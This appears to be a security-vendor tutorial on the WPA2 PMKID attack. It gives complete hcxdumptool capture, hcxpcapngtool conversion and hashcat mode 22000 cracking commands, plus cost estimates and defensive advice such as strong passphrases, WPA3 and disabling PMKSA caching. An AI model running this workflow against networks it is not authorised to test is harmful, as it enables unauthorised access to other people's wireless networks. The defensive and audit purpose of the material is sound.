PMKID Attack: Crack WPA2 Offline Without a 4-Way Handshake

What the PMKID actually is

The Pairwise Master Key Identifier, or PMKID, is a 16-byte value computed by the access point as a function of the PMK (Pairwise Master Key), the AP's MAC address, and the station's MAC address. The exact formula is HMAC-SHA1(PMK, "PMK Name" || AP_MAC || STA_MAC), truncated to the first 128 bits. It serves a legitimate purpose: it lets a station that has previously authenticated to an access point skip re-authentication on reconnect by presenting a cached PMKID; the 4-way handshake still runs, which is why an attacker can capture the PMKID from it at all. The PMKID is optional in the specification — many consumer access points include it in message 1 even when no PMKSA is cached, which is what makes the attack possible, but some never do.

That inclusion is the entire vulnerability. The PMK, from which the PMKID is derived, is itself the output of PBKDF2-HMAC-SHA1(passphrase, SSID, 4096, 256). An attacker who observes AP_MAC, STA_MAC, SSID and PMKID has everything needed to run a dictionary attack offline: for each candidate passphrase, compute PBKDF2 to get a candidate PMK, compute HMAC-SHA1 to get a candidate PMKID, and compare. The match rate is identical to a 4-way handshake crack, because the PBKDF2 step dominates both workloads.

Why this is better than handshake capture

Both approaches converge on the same hc22000 output format and the same hashcat mode 22000 crack. The PMKID advantage is entirely in the capture phase, which is simpler, more reliable, and does not disturb any user of the network. That is why modern audit workflows in 2026 default to PMKID first and only fall back to full handshake if the target access point strips the PMKID field.

Installing hcxdumptool and hcxtools

hcxdumptool is the capture engine; hcxpcapngtool (shipped in the hcxtools package) converts the resulting pcapng into the hc22000 format that hashcat understands. On Kali 2026 both are in the default repositories.

sudo apt update
sudo apt install hcxdumptool hcxtools
# verify versions
hcxdumptool --version
hcxpcapngtool --version
# recent releases: hcxtools 7.1.x; upstream renamed hcxdumptool to hcxlabtool
# in the 7.x line, so check which binary your package actually installs

The hcxdumptool binary does everything aircrack-ng would do in three separate tools: it puts the card into monitor mode, scans channels, transmits association requests to every in-range BSSID by default, and logs whatever the access points reply with. That default is why the filter list below exists, and why this must only ever be pointed at an access point you own. If you prefer manual channel control, pass -c 6 or a comma-separated list of channels; otherwise the tool hops automatically. The flags used below belong to the legacy 6.x interface; the 7.x line renamed the tool and documents a different set of options, so re-check the current help output before you run anything.

Capturing the PMKID

The simplest capture command. Against a vulnerable access point you own, this produces a hc22000-ready pcapng within a minute or two. In the 6.x interface --active-beacon makes the tool transmit its own beacon frames; it does not enable association requests, and the tool is not passive without it — hcxdumptool's README states that by default it is utilizing three attack vectors, which is why the filter list below matters and why every command here is scoped to a BSSID you own.

# stop services that take access to the physical interface
sudo airmon-ng check kill
# leave the adapter in managed mode: hcxdumptool configures the interface
# itself, and must not share it with other tools that take the interface
# run the capture against your own BSSID (legacy 6.x flags)
sudo hcxdumptool -i wlan0 -o capture.pcapng \
    --active-beacon \
    --filterlist_ap=my-ap.txt \
    --filtermode=2 \
    --enable-status=15
# my-ap.txt contains one line: AABBCCDDEEFF (your router's BSSID, no colons)
# --filtermode=2 means "only scan this BSSID, ignore everyone else"
# --enable-status=15 prints EAPOL and PMKID hits to the console

When the access point includes a PMKID, hcxdumptool's real-time display prints PMKID:<hex> alongside the AP MAC, the client MAC and the ESSID, and a counter line reports the running PMKID total; the exact formatting differs between releases, so check the display against the version you installed rather than grepping for a fixed string. At that point you have what you need; Ctrl+C and move on to conversion. If after three minutes you see no PMKID messages, the access point is suppressing the field and you will need to fall back to waiting for a real 4-way handshake from a connected client — the aircrack-ng workflow, or hcxdumptool with different filter modes.

Converting to hc22000

hcxpcapngtool reads the captured pcapng and writes hc22000 lines, one per unique PMKID or handshake. The hc22000 format is the unified successor to the older hccapx format — it handles both PMKID and 4-way handshake in the same file and is the only format hashcat mode 22000 accepts.

hcxpcapngtool -o hash.hc22000 -E wordlist-candidates.txt capture.pcapng
# -o   output hc22000 file
# -E   write an ESSID-derived wordlist for targeted cracks
# output lines starting with WPA*01*  = PMKID
# output lines starting with WPA*02*  = full 4-way handshake EAPOL
# a WPA*02* line carries the 64-hex anonce, the EAPOL hex and a 2-hex message pair
# example PMKID line:
# WPA*01*a1b2c3d4e5f60718293a4b5c6d7e8f90*aabbccddeeff*112233445566*4d794e6574776f726b***

The hc22000 line is self-contained: mode identifier, PMKID (or MIC for handshakes), AP MAC, station MAC, ESSID in hex, plus optional fields. If you want to confirm what you captured before burning GPU time, paste the file into our handshake analyzer — it reports whether the file contains a PMKID, a complete handshake, or only an unusable partial.

Cracking with hashcat mode 22000

Mode 22000 covers both PMKID and handshake in a single code path. Speed is identical in both cases because the dominant cost is PBKDF2-HMAC-SHA1. Measured rates for the mode are roughly 2.4-2.7 million candidates per second on an RTX 4090. A 14-billion-candidate wordlist runs for about 1.4 hours on a single RTX 4090 before any rules are applied, but the same list through a ~52,000-rule file becomes roughly 740 billion candidates — which is why real workflows rely on smart wordlists and rules rather than raw size.

# basic wordlist + rule attack
hashcat -m 22000 hash.hc22000 rockyou.txt -r rules/OneRuleToRuleThemAll.rule -O
# targeted mask for 10-digit phone number PSKs
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
# dictionary with ESSID-based mangling (e.g. SSID = StarbucksWiFi5G)
hashcat -m 22000 hash.hc22000 rockyou.txt -r rules/hob064.rule \
    --loopback --outfile found.txt

For a full tutorial on hashcat mode 22000, attack modes and rule files see our hashcat 22000 tutorial. If you do not have a GPU big enough to run serious wordlists, submit the hc22000 file to our recovery service — we run the hashcat pipeline against a curated attack stack on multi-GPU rigs and only charge if we find the password.

Vulnerable vs patched access points

Whether an access point emits a PMKID is an implementation choice that varies by vendor and firmware. Some access points always include the PMKID and some never do, and the behaviour can change between firmware releases on the same model. For a given access point, the way to find out is to test against your own hardware.

"Suppressed" does not mean "safe". Suppressing the PMKID only forces the attacker to fall back to the handshake capture path, which adds a client dependency but ultimately produces the same crackable hash. The only durable defence is a strong passphrase (20+ random characters) or migration to WPA3, which replaces the PMK-derived handshake with SAE entirely. For the WPA3 side of the story, see our WPA3 vs WPA2 cracking analysis.

Performance economics of PMKID cracking

A serious question that every defender should answer before dismissing PMKID cracking as "too slow to worry about" is: how long does it actually take for a motivated attacker with modest hardware to crack an average consumer Wi-Fi password? The number is uncomfortably small. In 2026, a single RTX 4090 pushes roughly 2.4-2.7 million WPA candidate evaluations per second in hashcat mode 22000. An RTX 5090, on sale since January 2025, pushes roughly 3.3-3.8 million. A rented 8-GPU cloud instance run for six hours delivers on the order of 500 billion candidate evaluations. The rockyou.txt wordlist is 14 million entries; the OneRuleToRuleThemAll rule file holds roughly 52,000 rules, so the pair expands to roughly 740 billion candidates. Cracking rockyou + OneRule against a captured PMKID on a rented 8-GPU instance takes roughly nine hours and costs less than a restaurant meal.

Longer wordlists change the arithmetic but not the conclusion. A large share of consumer passphrases are human-chosen and fall quickly to a deck built from published wordlists plus targeted mask attacks for common structures (firstname+year, street name+number, pet name+digits, phone numbers); the remainder are effectively random and do not. ISP-printed factory defaults are not a safe remainder: many are algorithmically derived from the BSSID or drawn from a small vendor list, and they are a well-known source of recovered keys. A user who chose the Wi-Fi password to be something memorable — a child's name, a favourite team, a rental address — almost certainly has a passphrase whose derived PMK falls inside a crackable set.

The defensive implication is direct: if your passphrase could appear in a list that a human could reasonably construct, assume the PMKID is enough to compromise you. The fix is equally direct: rotate to a 20-character random string from a password manager. That one change lifts the expected crack cost from a few hours of cloud GPU time to numbers no attacker will spend on a residential network. Our home network security guide walks through the full hardening checklist.

Detecting PMKID harvesting in practice

PMKID capture is close to silent from the perspective of the victim network. There is no deauth flood, no sustained probe traffic, and the association requests look identical to any random device attempting to connect. Detection therefore depends on either anomalous association patterns (a single MAC trying to associate to many BSSIDs in quick succession, which hcxdumptool does by default) or RF fingerprinting of the attacker's card. Consumer-grade routers almost never log these events; enterprise WIPS sensors can and do, flagging a single MAC that associates to many BSSIDs in quick succession without ever completing authentication. Home users cannot realistically detect PMKID harvesting; the defence has to be at the passphrase strength layer rather than the detection layer.

One partial mitigation is to disable PMKSA caching on your own router if the firmware exposes it. On hostapd-based builds such as OpenWrt, the disable_pmksa_caching=1 option in hostapd.conf stops the access point caching PMKSAs, but whether it also suppresses the PMKID in message 1 depends on the build, so verify it with hcxdumptool against your own access point before relying on it. Disabling caching costs a small amount of roaming performance (every reconnect now runs a full re-authentication instead of a cached PMKSA resumption) in exchange for whatever reduction in PMKID exposure the build actually delivers. WPA2-Enterprise is a different case: there the PMK is derived on the RADIUS server, so this setting is not the lever. For most home users the tradeoff is worth it.

Frequently asked questions